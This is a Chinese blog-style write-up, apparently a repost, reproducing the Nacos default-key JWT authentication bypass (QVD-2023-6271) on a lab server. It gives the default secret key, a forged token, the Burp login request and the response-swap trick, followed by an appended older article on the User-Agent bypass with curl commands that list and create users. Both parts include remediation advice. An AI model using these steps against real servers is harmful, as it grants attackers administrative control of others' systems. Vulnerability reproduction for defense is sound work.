Nacos身份绕过漏洞(QVD-2023-6271)复现学习

Posted 乌鸦安全

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Nacos身份绕过漏洞(QVD-2023-6271)复现学习相关的知识,希望对你有一定的参考价值。

更新时间:2023年03月15日20:32:24

绝对禁止用于非法渗透测试活动!!!

1. 漏洞介绍

本文仅做复现,不做分析!
其实就是默认key的问题,比如:shiro550exchange CVE-2020-0688jwt伪造等,都是类似的问题。

参考文档:
https://www.cnblogs.com/max-home/p/16795886.html
https://okaytc.github.io/posts/ad3be142.html

Nacos是一个易于使用的平台,专为动态服务发现和配置以及服务管理而设计。可以帮助您轻松构建云原生应用程序和微服务平台。
目前Nacos 身份认证绕过漏洞(QVD-2023-6271),开源服务管理平台Nacos在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。
参考:https://mp.weixin.qq.com/s/5lE_9I6-r1CE8CYtUZG1rQ
漏洞影响范围:
0.1.0 <= Nacos <= 2.2.0基本上都受到了影响,最新的版本已修复漏洞。

2. 环境搭建

2.1 漏洞版本下载

首先从GitHub下载带有漏洞的源码:

https://github.com/alibaba/nacos/releases

在这里最新版本已经修复了相关的漏洞,所以在这里需要使用其它的版本来进行复现:

可以选择这个:

下载到本地之后,在有java8以上的环境下进行快速部署。

2.2 漏洞部署

部署环境:Windows10 + java8 ip地址:10.211.55.5
在这里按照教程,解压之后,在bin目录下使用cmd使用命令startup.cmd -m standalone来启动,但是在这里启动会遇到问题:

Please set the JAVA_HOME variable in your environment, We need java(x64)! jdk8 or later is better!

但是我们本地是有java的环境的:

这个原因并不是我们的java版本错误,而是需要修改一下在bat文件中的java路径,打开startup.cmd
找到jdk的路径:C:\\java\\jdk

在这里补充你的javajdk的位置,不要到bin,它会自动拼接,jdk的位置:

set JAVA_HOME="C:\\java\\jdk"

在这里一定要注意set JAVA_HOME="C:\\java\\jdk\\"jdk后面这里不要加\\,不然就会报错!!!

然后再使用命令就起来了:

此时访问10.211.55.5:8848,就可以看到nacos启动了:

拼接路径nacos到路径:
http://10.211.55.5:8848/nacos/#/login

到此,漏洞环境准备完成。

3. 漏洞复现

nacos中,token.secret.key值是固定死的,位置在conf下的application.properties中:

nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

3.1 获取token

利用该默认key可进行jwt构造,直接进入后台,构造方法:
https://jwt.io/中:输入默认key:

SecretKey012345678901234567890123456789012345678901234567890123456789

然后再payload里面输入:


  "sub": "nacos",
  "exp": 1678899909

在这里注意:1678899909这个值是unix时间戳,换算一下,要比你系统当前的时间更晚,比如当前的时间是2023年03月15日22:11:09,在这里面的时间戳时间是3月16号了:

复制上面得到的值,在burp里面选择登录之后构造:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s

方框里面需要自行添加:

POST /nacos/v1/auth/users/login HTTP/1.1
Host: 10.211.55.5:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://10.211.55.5:8848
Connection: close
Referer: http://10.211.55.5:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s

username=crowsec&password=crowsec

此时就得到了token信息:

HTTP/1.1 200 
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self'
Set-Cookie: JSESSIONID=D90CF6E5B233685E4A39C1B1BDA9F185; Path=/nacos; HttpOnly
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s
Content-Type: application/json
Date: Wed, 15 Mar 2023 14:13:22 GMT
Connection: close
Content-Length: 197

"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s","tokenTtl":18000,"globalAdmin":true,"username":"nacos"

此时就得到了nacostoken信息。

3.2 利用获取token登录后台

如何登录呢,在这里需要用假账号登录之后,再修改返回包就行了,试试看:
先用假账号登录,用burp拦截:

这肯定进不去的,在这里修改返回包,右键看下这个:

然后Forward,这边返回的信息肯定是无效的:

在这里使用刚刚burp里面生成的返回包进行替换,全部复制过去:

forward一次:

此时就已经进去了:

留后门?Nacos被爆存在严重的旁路身份验证安全漏洞!

留后门?Nacos被爆存在严重的旁路身份验证安全漏洞!

2021 年 1 月 15 日,也就是昨天,Nacos 发布了新版本 1.4.1。该版本发布了很多新特性和增强的功能。

留后门?Nacos被爆存在严重的旁路身份验证安全漏洞!

这次发布的新版本,可谓是改动众多,大大小小有几十个 issue。

此次发布之前,被网友发现的绕过 User-Agent 中的安全漏洞在这个版本中也已经被修复了!https://github.com/alibaba/nacos/issues/4701 中所被提到的旁路身份验证(身份)问题影响范围很广!

在之前的版本中,如果在 Nacos 中启用了 serverIdentity 的自定义键值认证。那么就可以通过特殊的 url 结构,仍然可以绕过访问任何 http 接口的限制。

下面给大家说一下漏洞的重现步骤。

第一步,先访问用户列表界面。

curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9 --path-as-is'

在没有登录的正常情况下,该接口应该返回 403。

留后门?Nacos被爆存在严重的旁路身份验证安全漏洞!

但实际上,我们给该请求添加上特殊的 header 后,却可以绕过认证,并且返回用户列表数据。

{
    "totalCount"1,
    "pageNumber"1,
    "pagesAvailable"1,
    "pageItems": [
        {
            "username""nacos",
            "password""$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        }
    ]
}

不仅能绕过认证,我们还能添加新用户。

curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test --path-as-is'

通过 postman 执行后,我们成功的收到了 create user ok! 响应。

{
    "code":200,
    "message":"create user ok!",
    "data":null
}

如果你再获取用户列表,就可以获取到刚才新增的用户信息。

根据刚才新增的用户信息,我们就可以成功的登录到 Nacos 的后台管理系统中。执行任何操作。

问题产生的原因是,开发人员的逻辑出现了漏洞,考虑不全。

在 AuthFilter 中,应该被拦截返回的 url 被放行了。

目前该漏洞的解决办法有两个,一个是升级到最新的版本 1.4.1。或者开启鉴权认证,并且关闭原有的 UA 白名单机制。

nacos.core.auth.enabled=true
nacos.core.auth.enable.userAgentAuthWhite=false
nacos.core.auth.server.identity=aaa
nacos.core.auth.server.identity.value=bbb

另外,在使用微服务时,除了网关,其他的端口一律不能对外暴露!

截止目前,Nacos 已被众多网友骂惨了。

留后门?Nacos被爆存在严重的旁路身份验证安全漏洞!

甚至两之前的 fastjson 也不放过。




对此,你们怎么看,欢迎留言点赞说出你的感想!

以上是关于Nacos身份绕过漏洞(QVD-2023-6271)复现学习的主要内容,如果未能解决你的问题,请参考以下文章

nacos身份绕过漏洞

Nacos 惊爆安全漏洞,可绕过身份验证(附修复建议)

Nacos 1.4.1发布,修复指定特殊UA可绕过所有鉴权的安全漏洞

留后门?Nacos被爆存在严重的旁路身份验证安全漏洞!

Alibaba Nacos权限认证绕过漏洞复现

Nacos 认证绕过